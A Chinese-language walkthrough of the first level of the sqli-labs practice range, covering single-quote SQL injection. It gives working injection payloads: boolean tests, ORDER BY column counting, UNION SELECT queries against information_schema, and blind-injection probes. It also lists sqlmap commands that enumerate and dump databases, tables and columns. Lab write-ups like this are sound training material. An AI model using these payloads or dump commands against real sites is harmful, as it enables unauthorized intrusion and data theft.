单引号报错注入—sqli-labs靶场前瞻
第一关
输入?id=1后正常回显
测试注入点:
构造一下payload:?id=1’or ‘1’='1
正常回显
?id=1’ and ‘1’ = '2
无回显,由此判断此处存在sql注入漏洞,也可以用sqlmap跑一下如下:
测试指定url是否存在sql注入点
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1
前面测得具有回显,sqlmap也表示存在union联合查询
先查找列 ?id=1 ’ order by 3 --+
–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列,列数为4的时候查询出错
查询数据库名
?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'
同样可以sqlmap查看
sqlmap -u “http://www.xx.com?id=x” (查询是否存在注入点)
--dbs (检测站点包含哪些数据库)
--current-db (获取当前的数据库名)
--tables -D "db_name" (获取指定数据库中的表名 -D后接指定的数据库名称)
--columns -T "table_name" -D "db_name" (获取数据库表中的字段)
--dump -C "columns_name" -T "table_name" -D "db_name" (获取字段的数据内容)
sqlmap -u xxx --dbs
联合查询:
0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
在这里我们使用group_concat函数的作用是,能让查出的这字段的多个数,按字符拼接的方式存放在一起。(作为一行来显示,相当于使用了limit 0,1)
这样就避免对源码中的limit 0,1语句做了过滤,不然直接查询的话的,只会爆出一个字段。
0' union select 1,2, table_name from information_schema.tables where table_schema = database()--+
布尔盲注:
当后台屏蔽了报错信息的时候我们在这时候,就需要利用盲注来实现猜字段了。
1.基于布尔(正确或者错误)的盲注
因为要保证前后的错误一致性,所以要使用and连接符。
当页面会返回正确和错误两种页面时,这时候就可以利用布尔盲注了。
利用:and 1=1–+ 和and 1=2–+来达到判断是否存在注入。
一个不报错一个报错,说明存在盲注
如果后面的语句是对的,就会返回一个正确的页面,而不返回正确的页面,就说明,后面的语句是错的。